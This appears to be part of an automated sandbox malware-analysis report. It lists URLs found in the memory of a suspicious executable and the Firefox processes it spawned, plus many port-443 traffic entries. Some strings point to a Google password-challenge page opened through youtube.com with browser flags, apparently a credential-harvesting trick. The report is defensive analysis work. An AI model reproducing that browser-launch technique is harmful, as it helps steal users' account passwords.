Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000019.00000003.2942879261.0000025E89782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000019.00000003.2956378668.0000025E891CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000019.00000003.2941888477.0000025E897F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2931128411.0000025E892DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2929393111.0000025E89240000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 00000019.00000003.2944330073.0000025E89758000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2078373325.0000000005ECC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078647228.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2078431420.0000000005EC9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2754320993.0000000005B66000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2874156786.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873910237.00000000059E8000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2873775956.00000000059EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/resource://gre/modules/GMPUtils.sys.mjsonPrefEnabledChanged(
Source: firefox.exe, 00000019.00000003.2942879261.0000025E89782000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2875054403.0000025E8118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2873550106.0000025E8111D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2874578651.0000025E81153000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2869331652.0000025E80F00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchprincipalToInherit_base64LOAD_DOCUMENT_NEEDS_COOKIE
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000019.00000003.2936265181.0000025E89776000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000019.00000002.3020548386.0000025E7D111000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3020548386.0000025E7D1B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3009852946.0000025E7106A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2963429453.0000025E8261E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2968004122.0000025E826AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2968004122.0000025E826A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2106642246.00000000061B9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2784973133.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2913432713.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3069732243.0000025E8256F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: file.exe, 00000000.00000003.2106642246.00000000061B9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2784973133.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2913432713.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3069732243.0000025E8256F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C851000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001120503.0000016C701CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31DC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2106642246.00000000061B9000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2784973133.0000000005E54000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2913432713.0000000005CD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3047335193.0000025E814E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000019.00000002.2996751406.000000851897C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000019.00000003.2953976180.0000025E8937F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/findUpdates()
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/set
Source: firefox.exe, 00000019.00000003.2944106406.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2936265181.0000025E8976E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80C93000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000019.00000003.2953976180.0000025E8937F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000019.00000002.3053736608.0000025E81898000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000019.00000002.3053736608.0000025E81898000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3038492553.0000025E80C6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997654376.0000016C6FDAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3006156086.0000016C702F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2996884750.000001CB31AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2996884750.000001CB31AFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2996213791.000001CB31AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000017.00000002.2853436931.000001537B509000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2860913339.0000024C02B4A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3008756386.0000025E70D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000019.00000002.3011428041.0000025E72C70000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3011428041.0000025E72CB2000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997654376.0000016C6FDA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3006156086.0000016C702F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2996884750.000001CB31AF0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2996213791.000001CB31AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUse
Source: firefox.exe, 00000019.00000002.3008756386.0000025E70D89000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdg;
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D2DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmoz-extension://4f47

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
